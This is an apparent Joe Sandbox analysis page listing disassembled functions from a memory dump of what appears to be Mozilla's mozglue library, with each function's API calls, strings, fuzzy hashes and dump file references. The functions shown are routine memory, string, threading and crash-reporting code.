Opcode Fuzzy Hash: a1ef195ed933454a4b9ef96c25aadfb611042322ccb8153c99719937c4de857c
Instruction Fuzzy Hash: 2041C4B5E002488FDB00DFE4D885BDEBB71FF04324F148629E826AB791D7719986CB91

Function 6CAA1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA15E7
free.MOZGLUE(?,?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAA152B,?,?,?,?,6CAA1248,?), ref: 6CAA1637

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction ID: c05d03eb4e4ddda8dbf7163cf93e51c3298795e77c9e861f1c36892f7079ed14
Opcode Fuzzy Hash: 4aefa55d05cc342d3adf6a1df4f14cbae5ead64ae2dc8bb7ba1ccd3322cc9352
Instruction Fuzzy Hash: 7E313A71A00115DBC7188EBCC9404BE73E9BF813647280B2DE523DBBE4EB30D9468791

Function 6CAFAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAD9D

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE01
GetLastError.KERNEL32(?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB0E330,?,6CABC059), ref: 6CAFAE3D

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e46db6797d16a4c24697aed2140b85f9c6be52eb9f56e687b4ceacf41c093680
Instruction ID: 168434f00f87915f759228b8b153acc81090e1e39fac191a1d4da3445e3e4216
Opcode Fuzzy Hash: e46db6797d16a4c24697aed2140b85f9c6be52eb9f56e687b4ceacf41c093680
Instruction Fuzzy Hash: F03180B1A003159FDB10DF79CC44AABBBF9EF49654F148829E85AD7700E734E844CBA1

Function 6CAF5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB0DCA0,?,?,?,6CACE8B5,00000000), ref: 6CAF5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CACE8B5,00000000), ref: 6CAF5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CACE8B5,00000000), ref: 6CAF5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CACE8B5,00000000), ref: 6CAF5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CACE8B5,00000000), ref: 6CAF5FD6

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 036989417e893fde2a5c312f51151318f702f75eb68e75066c11de13463a31f4
Instruction ID: ddb6a4d47eedc3359259578618d255202f4b8de55a72ef1543f14c939f1a7dcb
Opcode Fuzzy Hash: 036989417e893fde2a5c312f51151318f702f75eb68e75066c11de13463a31f4
Instruction Fuzzy Hash: 4131F2343106108FE714CF29C898E26BBF5FF89319B688598F56687B95C735EC42CB90

Function 6CA9B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA9B532
moz_xmalloc.MOZGLUE(?), ref: 6CA9B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA9B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA9B57E
free.MOZGLUE(00000000), ref: 6CA9B58F

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction ID: ce8739393ad277c34556e5a0dbca4867005017891821912aa770d848564f2961
Opcode Fuzzy Hash: 3d6766991e082113f861fca1bfde96fc560a34422c03ef0ab5572412c64ed833
Instruction Fuzzy Hash: 7C21F671A002059BDB108F68DC41BAABBFAFF45314F284129E819DB341E736D955C7A1

Function 6CA9B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CA9B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA9B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CA9B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA9B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA9B849

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 99bc49d1e5cb21e76ad1f25d5c4dda00ae39670497cf9a16a72240d41a7fc053
Instruction ID: d5b2ba3de6dd47f4b44a7b96fc8a271353be8fc11077e46af9d70d7d1caee77f
Opcode Fuzzy Hash: 99bc49d1e5cb21e76ad1f25d5c4dda00ae39670497cf9a16a72240d41a7fc053
Instruction Fuzzy Hash: 32212DB0E002099FDF14DFA9D8855BEBBF8EF49214F148129E815A7741E731A984CBA1

Function 6CAF6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAF6E78

Part of subcall function 6CAF6A10: InitializeCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6A68
Part of subcall function 6CAF6A10: GetCurrentProcess.KERNEL32 ref: 6CAF6A7D
Part of subcall function 6CAF6A10: GetCurrentProcess.KERNEL32 ref: 6CAF6AA1
Part of subcall function 6CAF6A10: EnterCriticalSection.KERNEL32(6CB1F618), ref: 6CAF6AAE
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAF6AE1
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CAF6B15
Part of subcall function 6CAF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CAF6B65
Part of subcall function 6CAF6A10: LeaveCriticalSection.KERNEL32(6CB1F618,?,?), ref: 6CAF6B83

MozFormatCodeAddress.MOZGLUE ref: 6CAF6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAF6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CAF6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CAF6EFF

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4932e0fb68885a3a98200d16a6b77f88c315831a6f0d8d04e598bda671056a8f
Instruction ID: bc53d793a77a3365684df272d7c3f1274186df0c425b4ef1a8442692018ee9d9
Opcode Fuzzy Hash: 4932e0fb68885a3a98200d16a6b77f88c315831a6f0d8d04e598bda671056a8f
Instruction Fuzzy Hash: 2421A1B1A0421A9FDF00CF69D88569E77F9EF88308F044039F85997341EB749A998F92

Function 6CAF76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAF76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAF7705

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAF7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAF778F,00000000,00000000,00000000,00000000), ref: 6CAF7731
free.MOZGLUE(00000000), ref: 6CAF7760

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ee53e6812227bcefd1308628f58902af0dd931c6d159f98e0c6fe86a8d73b5b5
Instruction ID: 4f1eb6ad0c80ef4703591a63086176d1d660942b01047970e6a10e7eacf4752b
Opcode Fuzzy Hash: ee53e6812227bcefd1308628f58902af0dd931c6d159f98e0c6fe86a8d73b5b5
Instruction Fuzzy Hash: FE11C4B1900225ABEB10AFB68C44BABBFF8EF45354F044429F848E7700E771988487E2

Function 6CAD0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA93DEF), ref: 6CAD0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA93DEF), ref: 6CAD0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA93DEF), ref: 6CAD0DAF

Strings

<jemalloc>, xrefs: 6CAD0D92, 6CAD0DB9
: (malloc) Error in VirtualFree(), xrefs: 6CAD0D97, 6CAD0DBE

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 69442d9ba15b47001ef0dfe202dc652330a02e0ebe2249ffd721c8d3cdfef78e
Instruction ID: 18d9f803e875955efa04b3797b83aa8db3c29a5508bb33517b82338ebd245684
Opcode Fuzzy Hash: 69442d9ba15b47001ef0dfe202dc652330a02e0ebe2249ffd721c8d3cdfef78e
Instruction Fuzzy Hash: 6FF0E9713942D427E62415661C0ABAB2A6D67C2B65F398037F644DFDC0DA50F8808AA4

Function 6CAE7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAE75C4,?), ref: 6CAE762B

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7644
GetCurrentThreadId.KERNEL32 ref: 6CAE765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAE74D7,6CAF15FC,?,?,?), ref: 6CAE7677

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: cb01ecf7084c70ad818603b6a520141de34d0495cfce2bc65f36e2a55bd185f8
Instruction ID: 007eb7a1fade574ccf0dc959eb1f1bbd7a8d082072450760e71340bc985b2e4d
Opcode Fuzzy Hash: cb01ecf7084c70ad818603b6a520141de34d0495cfce2bc65f36e2a55bd185f8
Instruction Fuzzy Hash: 15F0C2B2E10745ABE7008F61C889676BB78FFEA259F11431AF90483B01E7B1A5D18BD0

Function 6CAF1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAF1800

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CAF18C7
Details, xrefs: 6CAF1925
name, xrefs: 6CAF1939

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 25896c4a17725fb4a7844e72aa58eddc442995cbba9df5d8f1adc28773b38743
Instruction ID: 30e8cef3244e0bfbe4c83dfb1369492aa6b7a024e28c38669ad5ab05537d7a12
Opcode Fuzzy Hash: 25896c4a17725fb4a7844e72aa58eddc442995cbba9df5d8f1adc28773b38743
Instruction Fuzzy Hash: 4371E2B0A003469FC704CF28D5956AABBB1FF45314F044669E8255BF41D770EA99CBE2

Function 6CAFB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010,00000000,?,?,6CAFAB1F), ref: 6CAFB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010,00000000,?), ref: 6CAFB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CAFB0A6,6CAFB0A6,?,6CAFAF67,?,00000010,?,6CAFAF67,?,00000010), ref: 6CAFB25F

Strings

map/set<T> too long, xrefs: 6CAFB1FA

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 7b0685043931aba3c3009c9d94fdb8844caee45daf33cbe7509f606538b03ce7
Instruction ID: 12482a199831d9e5a35e82e0819799e5fe82a0ba857713d8309af37b8c9a6123
Opcode Fuzzy Hash: 7b0685043931aba3c3009c9d94fdb8844caee45daf33cbe7509f606538b03ce7
Instruction Fuzzy Hash: 4E617D746042458FD701CF19D980A9ABBF5FF4A318F18C699E8695FB52C331EC86CB91

Function 6CABD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751

Strings

MOZ_CRASH(), xrefs: 6CABD4BB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction ID: d52b537bb9011014922ff24cb2964791b782a4352e7def224952911ff27df242
Opcode Fuzzy Hash: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction Fuzzy Hash: ED51F371E087418FD314CF28C19575ABBE5EB89318F144A2ED5A9D7F88D770E884CB92

Function 6CAE4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAE4721

Strings

., xrefs: 6CAE476A
profiler-paused, xrefs: 6CAE46E4
-%llu, xrefs: 6CAE4733

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: dc7810a90f9ae028ad9495501e9eac5e6236431e90a1ebcc1024c709cc20cd1d
Instruction ID: 85c2323b6468c28612dd81ad11538b2ce68484354f99226a361828d766b6b77f
Opcode Fuzzy Hash: dc7810a90f9ae028ad9495501e9eac5e6236431e90a1ebcc1024c709cc20cd1d
Instruction Fuzzy Hash: 95413A71F087089FCB08DFB9E85119EBBE9EF89744F14863DE85557B81EB3098848782

Function 6CB09830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CB0985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CB0987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6CB098DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6CB098D9

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 329ffaffa6635401779cd7d484c896ca6e43eff908867ce5b8d91739a3a7b832
Instruction ID: 113ba5bd902eba75b547a52efe1da6c8eb652c6325bb5221b6311057816717c0
Opcode Fuzzy Hash: 329ffaffa6635401779cd7d484c896ca6e43eff908867ce5b8d91739a3a7b832
Instruction Fuzzy Hash: 95312971F002089FDB14AF59DC559EF77A9EF44358F00802DEA1AABB40DB316948CBD2

Function 6CAE46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAE4721

Part of subcall function 6CA94410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAD3EBD,00000017,?,00000000,?,6CAD3EBD,?,?,6CA942D2), ref: 6CA94444

Strings

., xrefs: 6CAE476A
profiler-paused, xrefs: 6CAE46E4
-%llu, xrefs: 6CAE4733

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: c0f607f01361d891e371a25252cca66a19d4733ec6c65762af99d96827bbaaca
Instruction ID: 3b8db75f9486019a3b306e51fd3b37b0258261d3cd6fe3dfdf93f789ffd71f14
Opcode Fuzzy Hash: c0f607f01361d891e371a25252cca66a19d4733ec6c65762af99d96827bbaaca
Instruction Fuzzy Hash: C2314B71F042084BCB0CCFADD8912AEBBEADB8C314F19413DE8159BB41E77098448BD1

Function 6CAEB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA94290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD3EBD,6CAD3EBD,00000000), ref: 6CA942A9

